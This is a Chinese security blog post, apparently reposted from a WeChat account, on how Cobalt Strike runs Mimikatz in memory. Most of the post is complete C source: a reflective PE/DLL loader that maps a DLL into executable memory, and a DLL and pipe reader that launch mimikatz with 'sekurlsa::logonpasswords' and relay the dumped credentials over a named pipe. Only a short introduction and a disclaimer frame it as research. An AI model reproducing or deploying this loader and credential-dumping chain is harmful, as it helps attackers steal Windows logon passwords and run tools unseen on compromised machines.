Cobalt Strike 内存加载执行 Mimikatz 命令研究

admin 2025年3月20日22:36:06评论5 views字数 14246阅读47分29秒阅读模式
Cobalt Strike 内存加载执行 Mimikatz 命令研究
Cobalt Strike 内存加载执行 Mimikatz 命令研究
Cobalt Strike 内存加载执行 Mimikatz 命令研究
蛇来运转,鸿运新年
Cobalt Strike 内存加载执行 Mimikatz 命令研究
序言


        大家肯定很想知道Cobalt Strike 内存加载执行 Mimikatz 命令是怎么实现的,然后呢?本人一直在验证内存加载fscan,frp等工具上想破脑袋,但是有幸在网上冲浪看见了看雪上的一篇文章叫《Cobalt Strike 内存加载执行 Mimikatz 命令研究》

         然后就研究了一晚,也理解了forkandrun的原理,也就有了今天的文章。

Cobalt Strike 内存加载执行 Mimikatz 命令研究
前置知识


        了解PE结构,PELoad,pipe管道,普通的CMD命令终端,在这里我就不去唠嗑PE结构了,我相信大家肯定都会,PIPE相关的知识可以去看看我在先知上发布的文章:

文章 - Pipe管道利用研究分享 - 先知社区

        然后的话就是PEload(我发现可以加载exe,也可以加载DLL有点像反射DLL代码也很像)的话

1、将原始exe或DLL文件加载至内存缓冲区;

2、解析exe或DLL标头并获取SizeOfImage;

3、为exe或DLL分配新的内存空间,大小为SizeOfImage;

4、将exe或DLL头和PE节复制到中分配的内存空间;

5、执行重定位;

6、加载exe或DLL导入的库,解析导入地址表(IAT);

7、调用exe或DLL

        我也不唠了,感兴趣就去自己研究一下对自己对windows加载文件的理解

#include <windows.h>#include <stdio.h>#include <stdlib.h>typedef BOOL(WINAPI* DllMainFunc)(HINSTANCE, DWORD, LPVOID);void* LoadRdiDll(unsigned char* dllBuffer);void ExecuteRdiDll(void* baseAddress);unsigned char* ReadDllFromFile(const char* filePath, DWORD* size);// 读取 DLL 文件到内存unsigned char* ReadDllFromFile(const char* filePath, DWORD* size) {    FILE* file = fopen(filePath, "rb");    if (!file) {        printf("无法打开文件: %sn", filePath);        return NULL;    }    fseek(file, 0, SEEK_END);    *size = ftell(file);    rewind(file);    unsigned char* buffer = (unsigned char*)malloc(*size);    if (!buffer) {        printf("内存分配失败n");        fclose(file);        return NULL;    }    fread(buffer, 1, *size, file);    fclose(file);    return buffer;}// 反射加载 DLLvoid* LoadRdiDll(unsigned char* dllBuffer) {    IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)dllBuffer;    IMAGE_NT_HEADERS64* ntHeaders = (IMAGE_NT_HEADERS64*)(dllBuffer + dosHeader->e_lfanew);    SIZE_T imageSize = ntHeaders->OptionalHeader.SizeOfImage;    // 1. 分配目标内存    void* baseAddress = VirtualAlloc(NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);    if (!baseAddress) {        printf("VirtualAlloc 失败n");        return NULL;    }    // 2. 复制 PE 头部    memcpy(baseAddress, dllBuffer, ntHeaders->OptionalHeader.SizeOfHeaders);    // 3. 复制各个节    IMAGE_SECTION_HEADER* sectionHeader = (IMAGE_SECTION_HEADER*)(ntHeaders + 1);    for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {        void* dest = (void*)((BYTE*)baseAddress + sectionHeader[i].VirtualAddress);        void* src = (void*)(dllBuffer + sectionHeader[i].PointerToRawData);        memcpy(dest, src, sectionHeader[i].SizeOfRawData);    }    // 4. 处理重定位(Base Relocation)    ULONGLONG delta = (ULONGLONG)((BYTE*)baseAddress - ntHeaders->OptionalHeader.ImageBase);    if (delta) {        IMAGE_DATA_DIRECTORY relocDir = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];        if (relocDir.Size > 0) {            IMAGE_BASE_RELOCATION* reloc = (IMAGE_BASE_RELOCATION*)((BYTE*)baseAddress + relocDir.VirtualAddress);            while (reloc->VirtualAddress > 0) {                int count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);                WORD* relocData = (WORD*)(reloc + 1);                for (int i = 0; i < count; i++) {                    if (relocData[i] >> 12 == IMAGE_REL_BASED_DIR64) {                        ULONGLONG* patchAddr = (ULONGLONG*)((BYTE*)baseAddress + reloc->VirtualAddress + (relocData[i] & 0x0FFF));                        *patchAddr += delta;                    }                }                reloc = (IMAGE_BASE_RELOCATION*)((BYTE*)reloc + reloc->SizeOfBlock);            }        }    }    // 5. 处理导入表(Import Address Table)    IMAGE_DATA_DIRECTORY importDir = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];    if (importDir.Size > 0) {        IMAGE_IMPORT_DESCRIPTOR* importDesc = (IMAGE_IMPORT_DESCRIPTOR*)((BYTE*)baseAddress + importDir.VirtualAddress);        while (importDesc->Name) {            char* moduleName = (char*)((BYTE*)baseAddress + importDesc->Name);            HMODULE moduleHandle = LoadLibraryA(moduleName);            if (moduleHandle) {                IMAGE_THUNK_DATA64* thunk = (IMAGE_THUNK_DATA64*)((BYTE*)baseAddress + importDesc->FirstThunk);                while (thunk->u1.Function) {                    if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) {                        thunk->u1.Function = (ULONGLONG)GetProcAddress(moduleHandle, (LPCSTR)(thunk->u1.Ordinal & 0xFFFF));                    }                    else {                        IMAGE_IMPORT_BY_NAME* importByName = (IMAGE_IMPORT_BY_NAME*)((BYTE*)baseAddress + thunk->u1.AddressOfData);                        thunk->u1.Function = (ULONGLONG)GetProcAddress(moduleHandle, importByName->Name);                    }                    thunk++;                }            }            importDesc++;        }    }    return baseAddress;}// 执行 DLLvoid ExecuteRdiDll(void* baseAddress) {    IMAGE_NT_HEADERS64* ntHeaders = (IMAGE_NT_HEADERS64*)((BYTE*)baseAddress + ((IMAGE_DOS_HEADER*)baseAddress)->e_lfanew);    DllMainFunc entryPoint = (DllMainFunc)((BYTE*)baseAddress + ntHeaders->OptionalHeader.AddressOfEntryPoint);    // 6. 调用 DLLMain    entryPoint((HINSTANCE)baseAddress, DLL_PROCESS_ATTACH, NULL);}int main(int argc, char* argv[]) {    /*if (argc != 2) {        printf("用法: %s <DLL 文件路径>n", argv[0]);        return 1;    }*/    DWORD dllSize;    unsigned char* dllBuffer = ReadDllFromFile("C:\Users\***\Desktop\NEW\Dll1\x64\Debug\Dll1.dll", &dllSize);    if (!dllBuffer) {        return 1;    }    void* dllBase = LoadRdiDll(dllBuffer);    if (dllBase) {        printf("64 位 DLL 加载成功,正在执行...n");        ExecuteRdiDll(dllBase);        printf("DLL 执行完毕!n");    }    else {        printf("DLL 加载失败!n");    }    free(dllBuffer);    return 0;}

        然后普通的CMD命令终端代码比较简单,我直接也是贴代码,自己理解对自己也好

#include <windows.h>#include <stdio.h>#define PIPE_NAME "\\.\pipe\MimikatzPipe"#define BUFSIZE 80000int main() {    HANDLE hPipe;    SECURITY_ATTRIBUTES sa;    HANDLE hReadPipe, hWritePipe;    PROCESS_INFORMATION pi;    STARTUPINFO si;    DWORD bytesRead;    CHAR buffer[BUFSIZE];    // 创建命名管道    hPipe = CreateNamedPipeA(        PIPE_NAME,        PIPE_ACCESS_OUTBOUND,  // 仅写入        PIPE_TYPE_BYTE | PIPE_WAIT,        1,  // 最大连接数        BUFSIZE,        BUFSIZE,        0,        NULL    );    if (hPipe == INVALID_HANDLE_VALUE) {        printf("CreateNamedPipe failed (%d)n", GetLastError());        return 1;    }    printf("等待读取端连接...n");    if (!ConnectNamedPipe(hPipe, NULL)) {        printf("ConnectNamedPipe failed (%d)n", GetLastError());        CloseHandle(hPipe);        return 1;    }    printf("管道已连接,执行 mimikatz.exe...n");    // 设置安全属性,允许管道继承    sa.nLength = sizeof(SECURITY_ATTRIBUTES);    sa.bInheritHandle = TRUE;    sa.lpSecurityDescriptor = NULL;    // 创建匿名管道(用于子进程重定向输出)    if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) {        printf("CreatePipe failed (%d)n", GetLastError());        CloseHandle(hPipe);        return 1;    }    // 初始化 STARTUPINFO    ZeroMemory(&si, sizeof(STARTUPINFO));    si.cb = sizeof(STARTUPINFO);    si.hStdOutput = hWritePipe;    si.hStdError = hWritePipe;    si.dwFlags |= STARTF_USESTDHANDLES;    ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));    // 启动 mimikatz.exe    if (!CreateProcess(        NULL,        (LPSTR)"C:\Users\liuhua\Desktop\mimikatz1.exe sekurlsa::logonpasswords exit", // 程序路径及参数        NULL,        NULL,        TRUE, // 子进程继承父进程的句柄        0,        NULL,        NULL,        &si,        &pi) ){        printf("CreateProcess failed (%d)n", GetLastError());        CloseHandle(hReadPipe);        CloseHandle(hWritePipe);        CloseHandle(hPipe);        return 1;    }    // 关闭子进程不需要的写入端    CloseHandle(hWritePipe);    // 读取 mimikatz.exe 的输出,并写入命名管道    while (ReadFile(hReadPipe, buffer, BUFSIZE - 1, &bytesRead, NULL) && bytesRead > 0) {        buffer[bytesRead] = ''; // 确保字符串终止        WriteFile(hPipe, buffer, bytesRead, NULL, NULL);    }    // 关闭管道和进程句柄    CloseHandle(hReadPipe);    CloseHandle(hPipe);    CloseHandle(pi.hProcess);    CloseHandle(pi.hThread);    return 0;}

        好了现在可以去实现一下cs下内存加载mimikatz的密码了。

Cobalt Strike 内存加载执行 Mimikatz 命令研究
探索CS的秘密


        也是直接贴代码吧,最近比较忙,大概原理就是DLL远程拉取到内存中,在通过PEload反射加载DLL加载,创建子进程执行内存将输出的结果丢入管道,小demo模拟CS进程读取管道内的信息打印到console界面。

read端

#include <windows.h>#include <stdio.h>#define PIPE_NAME "\\.\pipe\MimikatzPipe"#define BUFSIZE 4096int main() {    HANDLE hPipe;    CHAR buffer[BUFSIZE];    DWORD bytesRead;    printf("尝试连接到管道...n");    hPipe = CreateFileA(        PIPE_NAME,        GENERIC_READ,  // 仅读取        0,        NULL,        OPEN_EXISTING,        0,        NULL    );    if (hPipe == INVALID_HANDLE_VALUE) {        printf("CreateFile failed (%d)n", GetLastError());        return 1;    }    printf("已连接到管道,读取数据...n");    // 读取并打印管道数据    while (ReadFile(hPipe, buffer, BUFSIZE - 1, &bytesRead, NULL) && bytesRead > 0) {        buffer[bytesRead] = ''; // 确保字符串终止        printf("%s", buffer);    }    // 关闭管道    CloseHandle(hPipe);    return 0;}

DLL代码:

// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"#include<windows.h>#include <iostream>#define PIPE_NAME "\\.\pipe\MimikatzPipe"#define BUFSIZE 80000BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {    switch (ul_reason_for_call) {    case DLL_PROCESS_ATTACH: {        // 创建命名管道        HANDLE hPipe;        SECURITY_ATTRIBUTES sa;        HANDLE hReadPipe, hWritePipe;        PROCESS_INFORMATION pi;        STARTUPINFO si;        DWORD bytesRead;        CHAR buffer[BUFSIZE];        // 创建命名管道        hPipe = CreateNamedPipeA(            PIPE_NAME,            PIPE_ACCESS_OUTBOUND,  // 仅写入            PIPE_TYPE_BYTE | PIPE_WAIT,            1,  // 最大连接数            BUFSIZE,            BUFSIZE,            0,            NULL        );        if (hPipe == INVALID_HANDLE_VALUE) {            printf("CreateNamedPipe failed (%d)n", GetLastError());            return 1;        }        printf("等待读取端连接...n");        if (!ConnectNamedPipe(hPipe, NULL)) {            printf("ConnectNamedPipe failed (%d)n", GetLastError());            CloseHandle(hPipe);            return 1;        }        printf("管道已连接,执行 mimikatz.exe...n");        // 设置安全属性,允许管道继承        sa.nLength = sizeof(SECURITY_ATTRIBUTES);        sa.bInheritHandle = TRUE;        sa.lpSecurityDescriptor = NULL;        // 创建匿名管道(用于子进程重定向输出)        if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) {            printf("CreatePipe failed (%d)n", GetLastError());            CloseHandle(hPipe);            return 1;        }        // 初始化 STARTUPINFO        ZeroMemory(&si, sizeof(STARTUPINFO));        si.cb = sizeof(STARTUPINFO);        si.hStdOutput = hWritePipe;        si.hStdError = hWritePipe;        si.dwFlags |= STARTF_USESTDHANDLES;        ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));        // 启动 mimikatz.exe        if (!CreateProcess(            NULL,            (LPSTR)"C:\Users\liuhua\Desktop\mimikatz1.exe sekurlsa::logonpasswords exit", // 程序路径及参数            NULL,            NULL,            TRUE, // 子进程继承父进程的句柄            0,            NULL,            NULL,            &si,            &pi)) {            printf("CreateProcess failed (%d)n", GetLastError());            CloseHandle(hReadPipe);            CloseHandle(hWritePipe);            CloseHandle(hPipe);            return 1;        }        // 关闭子进程不需要的写入端        CloseHandle(hWritePipe);        // 读取 mimikatz.exe 的输出,并写入命名管道        while (ReadFile(hReadPipe, buffer, BUFSIZE - 1, &bytesRead, NULL) && bytesRead > 0) {            buffer[bytesRead] = ''; // 确保字符串终止            WriteFile(hPipe, buffer, bytesRead, NULL, NULL);        }        // 关闭管道和进程句柄        CloseHandle(hReadPipe);        CloseHandle(hPipe);        CloseHandle(pi.hProcess);        CloseHandle(pi.hThread);        break;    }    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:        break;    }    return TRUE;}

Load端

#include <windows.h>#include <stdio.h>#include <stdlib.h>typedef BOOL(WINAPI* DllMainFunc)(HINSTANCE, DWORD, LPVOID);void* LoadRdiDll(unsigned char* dllBuffer);void ExecuteRdiDll(void* baseAddress);unsigned char* ReadDllFromFile(const char* filePath, DWORD* size);// 读取 DLL 文件到内存unsigned char* ReadDllFromFile(const char* filePath, DWORD* size) {    FILE* file = fopen(filePath, "rb");    if (!file) {        printf("无法打开文件: %sn", filePath);        return NULL;    }    fseek(file, 0, SEEK_END);    *size = ftell(file);    rewind(file);    unsigned char* buffer = (unsigned char*)malloc(*size);    if (!buffer) {        printf("内存分配失败n");        fclose(file);        return NULL;    }    fread(buffer, 1, *size, file);    fclose(file);    return buffer;}// 反射加载 DLLvoid* LoadRdiDll(unsigned char* dllBuffer) {    IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)dllBuffer;    IMAGE_NT_HEADERS64* ntHeaders = (IMAGE_NT_HEADERS64*)(dllBuffer + dosHeader->e_lfanew);    SIZE_T imageSize = ntHeaders->OptionalHeader.SizeOfImage;    // 1. 分配目标内存    void* baseAddress = VirtualAlloc(NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);    if (!baseAddress) {        printf("VirtualAlloc 失败n");        return NULL;    }    // 2. 复制 PE 头部    memcpy(baseAddress, dllBuffer, ntHeaders->OptionalHeader.SizeOfHeaders);    // 3. 复制各个节    IMAGE_SECTION_HEADER* sectionHeader = (IMAGE_SECTION_HEADER*)(ntHeaders + 1);    for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {        void* dest = (void*)((BYTE*)baseAddress + sectionHeader[i].VirtualAddress);        void* src = (void*)(dllBuffer + sectionHeader[i].PointerToRawData);        memcpy(dest, src, sectionHeader[i].SizeOfRawData);    }    // 4. 处理重定位(Base Relocation)    ULONGLONG delta = (ULONGLONG)((BYTE*)baseAddress - ntHeaders->OptionalHeader.ImageBase);    if (delta) {        IMAGE_DATA_DIRECTORY relocDir = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];        if (relocDir.Size > 0) {            IMAGE_BASE_RELOCATION* reloc = (IMAGE_BASE_RELOCATION*)((BYTE*)baseAddress + relocDir.VirtualAddress);            while (reloc->VirtualAddress > 0) {                int count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);                WORD* relocData = (WORD*)(reloc + 1);                for (int i = 0; i < count; i++) {                    if (relocData[i] >> 12 == IMAGE_REL_BASED_DIR64) {                        ULONGLONG* patchAddr = (ULONGLONG*)((BYTE*)baseAddress + reloc->VirtualAddress + (relocData[i] & 0x0FFF));                        *patchAddr += delta;                    }                }                reloc = (IMAGE_BASE_RELOCATION*)((BYTE*)reloc + reloc->SizeOfBlock);            }        }    }    // 5. 处理导入表(Import Address Table)    IMAGE_DATA_DIRECTORY importDir = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];    if (importDir.Size > 0) {        IMAGE_IMPORT_DESCRIPTOR* importDesc = (IMAGE_IMPORT_DESCRIPTOR*)((BYTE*)baseAddress + importDir.VirtualAddress);        while (importDesc->Name) {            char* moduleName = (char*)((BYTE*)baseAddress + importDesc->Name);            HMODULE moduleHandle = LoadLibraryA(moduleName);            if (moduleHandle) {                IMAGE_THUNK_DATA64* thunk = (IMAGE_THUNK_DATA64*)((BYTE*)baseAddress + importDesc->FirstThunk);                while (thunk->u1.Function) {                    if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) {                        thunk->u1.Function = (ULONGLONG)GetProcAddress(moduleHandle, (LPCSTR)(thunk->u1.Ordinal & 0xFFFF));                    }                    else {                        IMAGE_IMPORT_BY_NAME* importByName = (IMAGE_IMPORT_BY_NAME*)((BYTE*)baseAddress + thunk->u1.AddressOfData);                        thunk->u1.Function = (ULONGLONG)GetProcAddress(moduleHandle, importByName->Name);                    }                    thunk++;                }            }            importDesc++;        }    }    return baseAddress;}// 执行 DLLvoid ExecuteRdiDll(void* baseAddress) {    IMAGE_NT_HEADERS64* ntHeaders = (IMAGE_NT_HEADERS64*)((BYTE*)baseAddress + ((IMAGE_DOS_HEADER*)baseAddress)->e_lfanew);    DllMainFunc entryPoint = (DllMainFunc)((BYTE*)baseAddress + ntHeaders->OptionalHeader.AddressOfEntryPoint);    // 6. 调用 DLLMain    entryPoint((HINSTANCE)baseAddress, DLL_PROCESS_ATTACH, NULL);}int main(int argc, char* argv[]) {    /*if (argc != 2) {        printf("用法: %s <DLL 文件路径>n", argv[0]);        return 1;    }*/    DWORD dllSize;    unsigned char* dllBuffer = ReadDllFromFile("C:\Users\***\Desktop\NEW\Dll1\x64\Debug\Dll1.dll", &dllSize);    if (!dllBuffer) {        return 1;    }    void* dllBase = LoadRdiDll(dllBuffer);    if (dllBase) {        printf("64 位 DLL 加载成功,正在执行...n");        ExecuteRdiDll(dllBase);        printf("DLL 执行完毕!n");    }    else {        printf("DLL 加载失败!n");    }    free(dllBuffer);    return 0;}

视频:



mimikatz的话并没有实现内存加载,这块还在自己研究,也算是一个遗憾吧

END

参考文章:

[原创]Cobalt Strike 内存加载执行 Mimikatz 命令研究-编程技术-看雪-安全社区|安全招聘|kanxue.com

https://wbglil.gitbook.io/cobalt-strike/cobalt-strike-yuan-li-jie-shao/untitled-5

原文始发于微信公众号(T3Ysec):Cobalt Strike 内存加载执行 Mimikatz 命令研究

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月20日22:36:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Cobalt Strike 内存加载执行 Mimikatz 命令研究https://cn-sec.com/archives/3865343.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息